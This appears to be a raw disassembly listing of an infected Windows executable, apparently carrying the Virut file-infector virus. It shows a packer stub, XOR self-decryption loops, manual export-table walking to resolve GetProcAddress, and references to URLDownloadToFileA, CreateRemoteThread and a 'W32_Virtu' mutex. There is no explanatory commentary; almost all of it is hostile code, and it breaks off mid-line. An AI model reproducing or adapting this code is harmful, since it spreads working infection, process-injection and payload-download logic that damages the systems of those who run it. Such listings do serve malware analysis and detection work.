61746164h, 9B00000h, 40000000h dd 10000000h, 40000000h, 3 dup(0) dd 400000h, 642E4000h, 617461h, 26C80000h, 50000000h, 20000000h dd 50000000h, 3 dup(0) dd 400000h, 7000C000h, 43F80000h, 2 dup(755E0000h), 8DD71262h dd 0CECF74AAh, 0BA612C8h, 0C097F36Bh, 91ED3F6Ah, 5E1AC6C0h dd 0D97BDC9Dh, 70B7FFFEh, 5412C707h, 9ABDDF12h, 9A78485Ah dd 0FF50AA58h, 850D9112h, 7B5ADFFFh, 0E9B7858h, 63120853h dd 5F1A6E12h, 0F3491297h, 37DAC09Ah, 0ED71DCD8h, 60940C6Eh dd 0C365CE66h, 0FFFEEF68h, 75F812F9h, 0F36D12DDh, 9D10C089h dd 0C9627B17h, 0F398F300h, 0BDB2FF9Bh, 216D226Dh, 2A1C710h dd 5EFFD9A5h, 9898B5DFh, 0FEC5BFFBh, 0C989DE14h, 2159AACFh dd 0A5CE1403h, 0F4FA9B5Eh, 0D9CB99FDh, 7EDFB9BBh, 9E5E71CEh dd 5E9B499Bh, 0FA9DDEh, 13CACE4Ch, 6EBADFDAh, 1B650361h dd 1C353275h, 0C860EC59h, 0CBEDFF78h, 0C34B11DFh, 777B32C0h dd 669A715Ah, 0EDFCDE00h, 0FAF6EBC9h, 6F7BBFD8h, 0EBFDFDFFh dd 99EAEAFCh, 0EDF805DAh, 0D80D11FCh, 0F0E1DC99h, 0DDBFDBEDh dd 13F1CDDCh, 4F6D563h, 0EBFBF0D5h, 17E0EBF8h, 0BB797FEEh dd 0C6ABEAFDh, 6399ABAAh, 0F229CAD8h, 0F6FAEDFCh, 0FAFCF7F7h dd 6FB58D24h, 0F6F5FADFh, 99143AEAh, 0D23F2057h, 0B72D20C8h dd 0C2A88h, 81268002h, 0C8C28F7h, 2F84BF07h, 4DD137F1h dd 642079D2h, 61636C6Ch, 745C65C2h, 0D1BFA37Dh, 2E347466h dd 20657865h, 5C732877h, 0E9987673h, 6F14B12Bh, 0DE0A10D3h dd 0F3D01C13h, 4C4C44FFh, 54534F48h, 4558452Eh, 0EEF9149Ah dd 544985BDh, 500B5338h, 68637461h, 0C5B656F7h, 495A7241h dd 0EDFFB300h, 3D3D9F2Fh, 0D2CB00CAh, 0DAD3D3D2h, 2FDCDBDAh dd 62E607D6h, 47773463h, 68525445h, 20FE2D8Bh, 50545448h dd 6031D32Fh, 6F46A341h, 7495D054h, 29E8203Ah, 85A8DB07h dd 0A2C0980h, 716D2D78h, 6278F2D8h, 10707469h, 1667AF6Ah dd 0B8767DBh, 2F2A0C70h, 0B355412Ah, 0F6DD5B6Fh, 14412D72h dd 0ED4D456Eh, 2F616F69h, 0E154AD34h, 28202E42h, 0FEBE350Eh dd 0B446A16Dh, 53183B06h, 35204549h, 0BF17352Eh, 5709DB51h dd 73773A94h, 0FC383920h, 5CD7B685h, 0C3359948h, 0DA67430Bh dd 6EA190CDh, 4B116E30h, 15A89465h, 7B53D46Ah, 0FA35177Fh dd 0DF0467B2h, 20492000h, 0D6EA5B7Ah, 6D2019BDh, 766E179h dd 62222026h, 6D42B90Bh, 7E293A7Bh, 765F2000h, 2EC76E78h dd 584315B5h, 4E116E61h, 6563546Fh, 5D0B7368h, 34DC3220h dd 4220A032h, 605B36EFh, 6CBB416Dh, 0CC8F3866h, 6FF6EDB5h dd 7A437272h, 76677D68h, 88686F36h, 0B1480C22h, 0EA982D74h dd 2F3A765Eh, 0AE6EBE2Fh, 85B96D80h, 0CA56A856h, 712E8C38h dd 93FB51BDh, 2F362F16h, 5352F39h, 3764375Ah, 1BFC2FF5h dd 62662D59h, 342D6137h, 622D39B7h, 2D366531h, 2AB7D1B0h dd 36627A3Fh, 326C6632h, 0A105DFC2h, 30980C27h, 38424B2Dh dd 0C0153332h, 8B76F0Eh, 4B253878h, 73B1524Fh, 0A5BDB52Fh dd 662F386Fh, 37C83805h, 72FD3631h, 2D31FDD9h, 33626438h dd 35346673h, 35613037h, 2BE46236h, 3904BDACh, 73803864h dd 0F6544843h, 322266B7h, 31380531h, 66643063h, 5ADED53Eh dd 323737FBh, 4C037362h, 0F6323139h, 3D4DB590h, 65536254h dd 0DF731839h, 5376113Ch, 312F30E7h, 64663130h, 2F6B6D64h dd 663034FFh, 6366652Dh, 64333335h, 0EC321CF1h, 856B6DB0h dd 65175C34h, 73350534h, 0AF90891Bh, 0EE554E45h, 742B6D33h dd 33657577h, 0C5325C31h, 0FF4735EAh, 7C685706h, 335B73DAh dd 65313865h, 8353462h, 35E49C21h, 50586634h, 639B0CDh dd 47335B42h, 43723641h, 33ED0D6Bh, 355B4864h, 5DB63730h dd 6361F280h, 32336932h, 840733ECh, 38D8461Dh, 0C773CD73h dd 615DD68Eh, 2B033501h, 0BB433064h, 3379470Eh, 44383361h dd 35EC344Dh, 860AC265h, 6564590Bh, 0EB73EE02h, 53B90A18h dd 5624339h, 46ED6B5Ah, 0D666329h, 35086C64h, 0E7EB4075h dd 2D6D7338h, 0AC233539h, 1D252B70h, 73F16633h, 92D03FFh dd 207100CDh, 2520692Dh, 23C2073h, 6567F203h, 6E202074h dd 80435653h, 2F96CAC0h, 8062D629h, 0CF9E20C0h, 0EB2DBE24h dd 6B2677D6h, 5338A920h, 0F0726168h, 2BDD80D6h, 6C0067h dd 435444ECh, 4CD0246Fh, 13FA4207h, 256EF6Ah, 49572BC6h dd 0A158534Eh, 7AD03580h, 41770046h, 6E02B258h, 4B60F372h dd 0B6CB2C1Bh, 6E2DB71Bh, 717A6F02h, 18DB5D6Dh, 762A532Fh dd 6B5F50ECh, 9ED5A36Eh, 78797358h, 633E2CECh, 817B605Ah dd 6F65BC54h, 0F36FE875h, 31EDB475h, 6365EDD8h, 55617254h dd 6ED83566h, 752D2C1Dh, 750A7309h, 3046136Ch, 1D36F730h dd 0A31F6144h, 96E08604h, 0D0CFE320h, 370425C0h, 4D0FE31Fh dd 0B9706020h, 0E706EC6Ah, 371B6C1Ah, 4710011Ch, 0BBC0CDE0h dd 542DEF74h, 0A9E7079h, 6D2F7478h, 4E95976Fh, 67046C17h dd 33196874h, 683F6FC2h, 58590641h, 45530001h, 0ADC55241h dd 0C2835ED0h, 0CE7DECBBh, 1F0AD685h, 0F683504Bh, 0EC9DC52Eh dd 4F136DB6h, 452257BCh, 555CA05Ch, 0B6850618h, 3A4F61C0h dd 0BC61D879h, 500941D1h, 455C32h, 0C845AF33h, 0A793114h dd 357496AFh, 0CB6E4F35h, 40266C60h, 634B6E1Ch, 0C7C1D766h dd 8E6769C2h, 0C6204E61h, 366E4575h, 20518EC7h, 6D2B1044h dd 30205049h, 1C970D19h, 2E9D7264h, 580F2507h, 2D70DB04h dd 5F2B0D64h, 0C4B0754Dh, 7B480C31h, 617A736Dh, 8360A970h dd 0D10C00AEh, 96893131h, 9B439212h, 6B276E34h, 24411EDh dd 492DDA0Eh, 0D68518BDh, 0B41A5349h, 422001D3h, 4030C80h dd 88580101h, 42A8CB00h, 0A5FAE052h, 0FC0B1432h, 74654701h dd 0FB60054Ch, 724544ADh, 0D726F72h, 4A00A549h, 6C72FFC1h dd 656B636Fh, 63654464h, 0B7EE6152h, 1123BBE6h, 416C6162h dd 400C186Ch, 46DB6EDBh, 4F0B651Bh, 38501F70h, 1CC6005Fh dd 0B0464964h, 72747441h, 0F6CB256Fh, 74756269h, 27534113h dd 0F6FB9B82h, 75646F4Dh, 6E614815h, 55111B64h, 0F7B6D06Eh dd 695693B7h, 664F7765h, 5D43102Dh, 2AAFB09h, 9441F676h dd 0C936B25Eh, 104C6E49h, 22C0B93h, 5D92CDF4h, 330BE156h dd 450F6701h, 24437878h, 1FD8C03Dh, 454FB358h, 950434Dh dd 0DDA17B53h, 66F7574Eh, 43149C61h, 0BDAB4449h, 97017F7Dh dd 0AD6D614Eh, 696D5254h, 9ED0B06Eh, 57459FCCh, 3EE66961h dd 0B780B553h, 4F25E202h, 36486A62h, 0C3C20D7Bh, 0A1783539h dd 3CCDB096h, 8B6D6954h, 0DD158069h, 0D9B5B7B3h, 0F7D3752Ch dd 64066854h, 0C825B5Eh, 670B13Ch, 5C3B2FD7h, 6F733E02h dd 7269A619h, 73764DBFh, 41797466h, 68216F36h, 33706C65h dd 0DBEE60B5h, 709D5332h, 506F6873h, 1C2B1267h, 789A158h dd 6F594E0Fh, 0C2C20B36h, 4586733Dh, 82B5ACD4h, 1508554Bh dd 6DB7C20Fh, 0ED00F152h, 2E68250Ch, 7D6567h, 43930167h dd 0A7E432E9h, 512CDB6Ch, 15791175h, 72617453h, 4B377B74h dd 700F5116h, 69676552h, 31B671CAh, 233672ACh, 85728B6Ch dd 399B05DDh, 75744417h, 50134C73h, 442BBE82h, 21651E80h dd 7F2E3D9Bh, 86FC9330h, 0BF417604h, 6A644141h, 31747375h dd 62A34059h, 46127377h, 53DF9E02h, 6872DF43h, 5961D86Ch dd 0BA0E3FD0h, 0D9B2DCFEh, 10E32133h, 9079654Bh, 823DEC5Ch dd 3D0F330Eh, 9623DB92h, 7581C779h, 61E69F70h, 75325663h dd 4950FA7Ch, 12F66963h dd 0B3706DC2h, 46389410h, 0F37B5B0h, 9D451B7Ch, 0B72CF1CDh dd 0F0010337h, 68057265h, 5FF4E19Dh, 8E706358h, 5F5F0C72h dd 8B476EB5h, 6772C80Ah, 0CE085FE9h, 22AEB42Dh, 70A6D18h dd 0FB070272h, 72B9BFFEh, 3F3F0664h, 41594032h, 49584150h dd 70365A40h, 0B6F68602h, 76652C58h, 116B8B0Eh, 3773433Eh dd 61578882h, 6082364Ah, 64665FEDh, 6D392EC4h, 95C15A36h dd 0D9AF9D44h, 0CC1B66E6h, 1262C510h, 0BD1D661Fh, 4B362DB7h dd 7411703Eh, 770F7079h, 0B5A22EC6h, 13685FC7h, 0A3771133h dd 39590215h, 1D7066E5h, 0BDD35CF6h, 58339DD3h, 2CB19D9Eh dd 476D5C18h, 0E00086Dh, 0D9BC1598h, 5255319Ch, 0E99F444Ch dd 6A518374h, 481C19D2h, 9B5B390h, 170AE0C1h, 0B6596524h dd 17FF504Dh, 0C390402h, 96596596h, 10131534h, 96590903h dd 74025965h, 0F208010Dh, 73659604h, 50710B0Eh, 92FE8045h dd 3014CFFh, 8200800h, 0B010F9Ah, 41660601h, 4052C6CFh dd 0BE2FCC13h, 0F7D9E764h, 0F10040Fh, 5B070004h, 17B67406h dd 0CB0C3180h, 10EC0DE0h, 0BA360607h, 0B4CB2101h, 0A4A2A041h dd 8C2B829h, 85F02E26h, 79DB06Ch, 3090213Ah, 8F052D98h dd 2E609501h, 29611072h, 53B9309Bh, 6A0309B0h, 0DEECD3BDh dd 3C262E40h, 75026C8h, 94E1B6E5h, 0EB00C027h, 5E0343F8h dd 75h, 4800000h, 0FF00h, 3 dup(0) ; --------------------------------------------------------------------------- pusha mov esi, offset dword_407000 lea edi, [esi-6000h] push edi or ebp, 0FFFFFFFFh jmp short loc_409082 ; --------------------------------------------------------------------------- align 8 loc_409078: ; CODE XREF: seg001:loc_409089j mov al, [esi] inc esi mov [edi], al inc edi loc_40907E: ; CODE XREF: seg001:00409116j ; seg001:0040912Dj add ebx, ebx jnz short loc_409089 loc_409082: ; CODE XREF: seg001:00409070j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_409089: ; CODE XREF: seg001:00409080j jb short loc_409078 mov eax, 1 loc_409090: ; CODE XREF: seg001:0040909Fj ; seg001:004090AAj add ebx, ebx jnz short loc_40909B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40909B: ; CODE XREF: seg001:00409092j adc eax, eax add ebx, ebx jnb short loc_409090 jnz short loc_4090AC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_409090 loc_4090AC: ; CODE XREF: seg001:004090A1j xor ecx, ecx sub eax, 3 jb short loc_4090C0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_409132 mov ebp, eax loc_4090C0: ; CODE XREF: seg001:004090B1j add ebx, ebx jnz short loc_4090CB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_4090CB: ; CODE XREF: seg001:004090C2j adc ecx, ecx add ebx, ebx jnz short loc_4090D8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_4090D8: ; CODE XREF: seg001:004090CFj adc ecx, ecx jnz short loc_4090FC inc ecx loc_4090DD: ; CODE XREF: seg001:004090ECj ; seg001:004090F7j add ebx, ebx jnz short loc_4090E8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_4090E8: ; CODE XREF: seg001:004090DFj adc ecx, ecx add ebx, ebx jnb short loc_4090DD jnz short loc_4090F9 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_4090DD loc_4090F9: ; CODE XREF: seg001:004090EEj add ecx, 2 loc_4090FC: ; CODE XREF: seg001:004090DAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_40911C loc_40910D: ; CODE XREF: seg001:00409114j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_40910D jmp loc_40907E ; --------------------------------------------------------------------------- align 4 loc_40911C: ; CODE XREF: seg001:0040910Bj ; seg001:00409129j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_40911C add edi, ecx jmp loc_40907E ; --------------------------------------------------------------------------- loc_409132: ; CODE XREF: seg001:004090BCj pop esi mov edi, esi mov ecx, 5Dh loc_40913A: ; CODE XREF: seg001:00409141j ; seg001:00409146j mov al, [edi] inc edi sub al, 0E8h loc_40913F: ; CODE XREF: seg001:00409164j cmp al, 1 ja short loc_40913A cmp byte ptr [edi], 1 jnz short loc_40913A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_40913F lea edi, [esi+7000h] loc_40916C: ; CODE XREF: seg001:0040918Ej mov eax, [edi] or eax, eax jz short loc_4091B7 mov ebx, [edi+4] lea eax, [eax+esi+9000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+90A0h] xchg eax, ebp loc_409189: ; CODE XREF: seg001:004091AFj mov al, [edi] inc edi or al, al jz short loc_40916C mov ecx, edi jns short near ptr loc_40919A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_40919A: ; CODE XREF: seg001:00409192j mov ecx, 0AEF24857h push ebp call dword ptr [esi+90A4h] or eax, eax jz short loc_4091B1 mov [ebx], eax add ebx, 4 jmp short loc_409189 ; --------------------------------------------------------------------------- loc_4091B1: ; CODE XREF: seg001:004091A8j call dword ptr [esi+90A8h] loc_4091B7: ; CODE XREF: seg001:00409170j popa jmp loc_402FCC ; --------------------------------------------------------------------------- align 1000h seg001 ends ; Section 3. (virtual address 0000A000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 0000A000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg002 segment para public 'CODE' use32 assume cs:seg002 ;org 40A000h assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing dd 3 dup(0) dd 0A0E0h, 0A0A0h, 3 dup(0) dd 0A0EDh, 0A0B0h, 3 dup(0) dd 0A0FAh, 0A0B8h, 3 dup(0) dd 0A103h, 0A0C0h, 3 dup(0) dd 0A10Eh, 0A0C8h, 3 dup(0) dd 0A119h, 0A0D0h, 3 dup(0) dd 0A124h, 0A0D8h, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 76D64B79h, 0 dd 77C39E7Eh, 0 dd 42D779A3h, 0 dd 7E45A045h, 0 dd 71AB2BF4h, 0 db 4Bh ; K db 45h, 52h, 4Eh db 45h ; E db 4Ch, 33h, 32h db 2Eh ; . db 44h, 2 dup(4Ch) db 0 db 41h, 44h, 56h db 41h ; A db 50h, 49h, 33h db 32h ; 2 db 2Eh, 64h, 6Ch db 6Ch ; l align 2 dw 4349h db 4Dh ; M db 50h, 2Eh, 64h db 6Ch ; l db 6Ch, 0, 4Dh db 53h ; S db 56h, 43h, 52h db 54h ; T db 2Eh, 64h, 6Ch db 6Ch ; l align 2 dw 7275h db 6Ch ; l db 6Dh, 6Fh, 6Eh db 2Eh ; . db 64h, 2 dup(6Ch) db 0 db 55h, 53h, 45h db 52h ; R db 33h, 32h, 2Eh db 64h ; d db 2 dup(6Ch), 0 db 57h ; W db 53h, 32h, 5Fh db 33h ; 3 db 32h, 2Eh, 64h db 6Ch ; l db 6Ch, 2 dup(0) aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 align 2 aExitprocess db 'ExitProcess',0 align 4 aRegclosekey db 'RegCloseKey',0 db 0 align 2 aIcmpsendecho db 'IcmpSendEcho',0 align 4 aExit db 'exit',0 align 2 aUrldownloadtof db 'URLDownloadToFileA',0 align 2 aExitwindowsex db 'ExitWindowsEx',0 dd 18h dup(0) ; =============== S U B R O U T I N E ======================================= public start start proc near var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0040A273 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0040A286 SIZE 000000DE BYTES ; FUNCTION CHUNK AT 0040A3D2 SIZE 0000000A BYTES sub eax, eax loc_40A202: ; CODE XREF: start+8j dec al or al, al jz short loc_40A20C jnz short loc_40A202 jmp short loc_40A273 ; --------------------------------------------------------------------------- loc_40A20C: ; CODE XREF: start+6j sub edi, edi sub ecx, ecx mov cl, 0BCh loc_40A212: ; CODE XREF: start+13j inc edi loop loc_40A212 call sub_40A238 sub ecx, 0FFFFFFDFh push ecx mov ebp, 243Ch loc_40A226: ; CODE XREF: start+33j mov al, [ecx] xor ax, di mov [ecx], al inc ecx sub ebp, 1 or ebp, ebp jnz short loc_40A226 pop ecx jmp ecx start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40A238 proc near ; CODE XREF: start+15p pop ecx jmp ecx sub_40A238 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0E8h, 24048B00h, 242B80F7h, 0 dd 98898000h, 29ACh, 4245C8Bh, 59FC2D74h, 29B0B089h, 0B8890000h dd 29B4h, 242FB880h, 75E80000h db 0Dh, 3, 98h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40A273: ; CODE XREF: start+Aj xor [eax+eax], ah add [ebx+33FF025Bh], cl jmp short loc_40A286 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- mov ebx, [eax+2431h] push dword ptr [ebx] ; START OF FUNCTION CHUNK FOR start loc_40A286: ; CODE XREF: start+7Cj pop ebx push ebp xchg eax, ebp sub [esp+arg_0], 11E1h and ebx, 0FFFFF000h sub ebp, offset sub_401006 mov edi, [esp+arg_0] lea esi, dword_40343C[ebp] mov ecx, 0 rep movsb loc_40A2AE: ; CODE XREF: start+CAj cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_40A2C4 mov eax, [ebx+3Ch] lea eax, [eax+ebx] cmp word ptr [eax], 4550h jz short loc_40A2CC loc_40A2C4: ; CODE XREF: start+B5j sub ebx, 100h jnz short loc_40A2AE loc_40A2CC: ; CODE XREF: start+C2j mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_40A2DA: ; CODE XREF: start:loc_40A301j lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_40A301 cmp dword ptr [eax+3], 636F7250h jnz short loc_40A301 cmp dword ptr [eax+7], 72646441h jnz short loc_40A301 cmp dword ptr [eax+0Bh], 737365h jz short loc_40A306 loc_40A301: ; CODE XREF: start+E4j start+EDj ... loop loc_40A2DA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40A306: ; CODE XREF: start+FFj sub [esp+4+var_4], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_40A32C+2 inc ebx insb outsd jnb short near ptr loc_40A38A+2 dec eax popa outsb db 64h insb loc_40A32C: ; CODE XREF: start+11Dp add gs:[ebx-1], dl setalc mov ss:dword_40353C[ebp], eax call near ptr loc_40A348+1 inc ebx jb short near ptr loc_40A3A3+1 popa jz short near ptr loc_40A3A3+4 inc ebp jbe short near ptr loc_40A3A9+1 outsb jz short near ptr loc_40A387+2 loc_40A348: ; CODE XREF: start+137p add [ebx-1], dl setalc mov ss:dword_403540[ebp], eax call sub_40A364 inc edi db 65h jz short near ptr loc_40A3A3+4 popa jnb short loc_40A3D2 inc ebp jb short near ptr loc_40A3D2+1 outsd jb short $+2 ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_40A364 proc near ; CODE XREF: start+152p ; FUNCTION CHUNK AT 0040A40D SIZE 000000B1 BYTES ; FUNCTION CHUNK AT 0040A54D SIZE 0000013A BYTES push ebx call esi ; CloseServiceHandle mov ss:dword_403544[ebp], eax call sub_40A3E2 test eax, eax jz short loc_40A397 push eax call ss:dword_403544[ebp] test eax, eax jnz short loc_40A391 lea eax, [ebp+4011D2h] loc_40A387: ; CODE XREF: start+146j mov dl, [eax-1] loc_40A38A: ; CODE XREF: start+125j call sub_40A3FD jmp short loc_40A40D ; --------------------------------------------------------------------------- loc_40A391: ; CODE XREF: sub_40A364+1Bj ; sub_40A364+136j ... call ss:dword_40353C[ebp] loc_40A397: ; CODE XREF: sub_40A364+10j test ss:dword_403431[ebp], 80000000h jz short loc_40A3C1 loc_40A3A3: ; CODE XREF: start+13Dj start+140j ... lea esi, dword_403435[ebp] loc_40A3A9: ; CODE XREF: start+143j mov edi, [esp+4] movsb movsd mov ebx, ss:dword_4039B2[ebp] mov esi, ss:dword_4039B6[ebp] mov edi, ss:dword_4039BA[ebp] loc_40A3C1: ; CODE XREF: sub_40A364+3Dj pop ebp retn sub_40A364 endp ; --------------------------------------------------------------------------- loc_40A3C3: ; CODE XREF: sub_40A3E2+2p ; sub_40A364:loc_40A5CCp pop edx push 0 push 0 push 0 push 0 push 40001h ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40A3D2: ; CODE XREF: start+15Cj start+15Fj les ebp, [edx+0] push eax push 0Ch mov eax, esp jmp edx ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- aVt_3 db 'VT_3',0 align 2 ; =============== S U B R O U T I N E ======================================= sub_40A3E2 proc near ; CODE XREF: sub_40A364+9p xor ecx, ecx call loc_40A3C3 lea edx, [ebp+4011A1h] push edx push ecx push ecx push eax call ss:dword_403540[ebp] add esp, 20h retn sub_40A3E2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40A3FD proc near ; CODE XREF: sub_40A364:loc_40A38Ap ; sub_40C1D1+25Bp mov dh, dl mov ecx, 225Fh loc_40A404: ; CODE XREF: sub_40A3FD+Cj xor [eax], dl inc eax add dl, dh loop loc_40A404 retn sub_40A3FD endp ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40A364 loc_40A40D: ; CODE XREF: sub_40A364+2Bj and dword ptr [ebp+401580h], 0 and dword ptr [ebp+401584h], 0 and dword ptr [ebp+401588h], 0 mov eax, ss:dword_403431[ebp] xor ecx, ecx push 1 mov cl, 20h pop ss:dword_40397E[ebp] loc_40A434: ; CODE XREF: sub_40A364+E0j xor edx, edx shr eax, 1 setb dl shl dl, 3 add ss:dword_40397E[ebp], edx loop loc_40A434 push edi mov byte ptr [ebp+401303h], 1 mov ss:dword_403548[ebp], esi lea esi, loc_4015BB[ebp] xor ecx, ecx lea edi, dword_403558[ebp] mov cl, 1Eh call sub_40A7C7 pop edi call ss:dword_403594[ebp] shr eax, 1Fh jz loc_40A54D mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov ss:dword_403550[ebp], eax push 69CEh push 0 call ss:dword_4035C8[ebp] test eax, eax jz loc_40A391 xchg eax, edi lea esi, sub_401000[ebp] mov ebp, edi mov ecx, 0A74h sub ebp, offset sub_401000 lea edx, [ebp+401283h] rep movsd jmp edx ; END OF FUNCTION CHUNK FOR sub_40A364 ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, loc_401A3D[ebp] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call ss:dword_403550[ebp] add esp, 20h test eax, eax jz loc_40A391 xchg eax, edi push 0 push 1 push 80000400h push 10000h call ss:dword_403550[ebp] test eax, eax jz loc_40A391 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call ss:dword_403550[ebp] push 1000Ah call ss:dword_403550[ebp] call sub_40A53D jmp loc_40A391 ; =============== S U B R O U T I N E ======================================= sub_40A53D proc near ; CODE XREF: seg002:0040A533p ; sub_40A53D+Dj push 1 pop ecx jecxz short locret_40A54C push 0Ah call dword ptr [ebp+4035BCh] jmp short sub_40A53D ; --------------------------------------------------------------------------- locret_40A54C: ; CODE XREF: sub_40A53D+3j retn sub_40A53D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40A364 loc_40A54D: ; CODE XREF: sub_40A364+10Fj cmp ss:dword_403570[ebp], 0 jz loc_40A391 call near ptr loc_40A564+1 dec esi push esp inc esp dec esp dec esp loc_40A564: ; CODE XREF: sub_40A364+1F6p add bh, bh xchg eax, ebp mov ds:0B58D0040h, dh jnb short near ptr loc_40A581+5 inc eax add [ebx], dh leave lea edi, dword_4035D0[ebp] mov cl, 0Bh xchg eax, ebx call sub_40A7C7 loc_40A581: ; CODE XREF: sub_40A364+209j cmp ss:dword_4035F8[ebp], 0 jz loc_40A391 mov eax, ss:dword_4035D4[ebp] push dword ptr [eax+1] pop ss:dword_403395[ebp] mov eax, ss:dword_4035E8[ebp] push dword ptr [eax+1] pop ss:dword_4033E2[ebp] mov eax, ss:dword_4035D8[ebp] push dword ptr [eax+1] pop ss:dword_4033E9[ebp] mov ecx, ss:dword_4035DC[ebp] jecxz short loc_40A5CC push dword ptr [ecx+1] pop ss:dword_4033F6[ebp] loc_40A5CC: ; CODE XREF: sub_40A364+25Dj call loc_40A3C3 lea edi, dword_40364E[ebp] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+40159Fh] mov ecx, 1Ch mov edx, esp lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah loc_40A611: ; CODE XREF: sub_40A364+2B0j lodsb stosw loop loc_40A611 push 0 push 69CEh mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call ss:dword_4035E0[ebp] pop eax add esp, 40h push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 69CEh push 0 push ecx push 0FFFFFFFFh push eax call ss:dword_4035E4[ebp] pop edi pop ecx test edi, edi jz loc_40A391 lea esi, sub_401000[ebp] mov ecx, 0A74h mov ebp, edi rep movsd sub ebp, offset sub_401000 lea eax, loc_40144C[ebp] jmp eax ; END OF FUNCTION CHUNK FOR sub_40A364 ; --------------------------------------------------------------------------- db 8Dh db 95h ; • dd offset loc_4018DC+4 db 52h, 0FFh, 95h dd offset dword_403598+4 db 0E8h ; è db 16h, 2 dup(0) db 0 aLookupprivileg db 'LookupPrivilegeValueA',0 db 50h dd 354895FFh, 85890040h, 40354Ch, 206A5450h, 95FFFF6Ah dd 4035ECh, 755FC085h, 26A963Fh, 0D48B5656h, 0E852016Ah dd 11h, 65446553h, 50677562h, 69766972h, 6567656Ch, 95FF5600h dd 40354Ch, 5656C48Bh, 57565056h, 35D095FFh, 0C4830040h dd 95FF5710h, 40353Ch, 26A006Ah, 357095FFh, 28B90040h dd 97000001h, 0C89E12Bh, 0FF575424h, 4035AC95h, 83F63300h dd 40363CA5h, 57540000h, 35B095FFh, 0C0850040h, 83465C74h dd 0EE7204FEh, 82474FFh, 2A6A006Ah, 35A895FFh, 0C0850040h dd 0E893DC74h, 43Dh, 0E391C933h, 3C853930h, 75004036h dd 0AEC18128h, 5000000Dh, 51565054h, 0FF535050h, 40356895h dd 59C08500h, 74FF0F74h, 858F0824h, 40363Ch, 0FFFDACE8h dd 95FF53FFh, 40353Ch, 0C48198EBh, 128h, 3C95FF57h, 0E9004035h dd 0FFFFFBE5h, 5800498Dh, 0CE005858h, 65000029h, 0Dh, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_40A7C7 proc near ; CODE XREF: sub_40A364+100p ; sub_40A364+218p ... push ecx push esi push ebx call ss:dword_403548[ebp] stosd pop ecx loc_40A7D2: ; CODE XREF: sub_40A7C7+Ej lodsb test al, al jnz short loc_40A7D2 loop sub_40A7C7 retn sub_40A7C7 endp ; --------------------------------------------------------------------------- aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea db 'CreateFileA',0 aCreatefilemapp db 'CreateFileMappingA',0 aCreateprocessa db 'CreateProcessA',0 aCreateremoteth db 'CreateRemoteThread',0 aCreatethread db 'CreateThread',0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 aExitthread db 'ExitThread',0 aFiletimetosyst db 'FileTimeToSystemTime',0 aGetfileattribu db 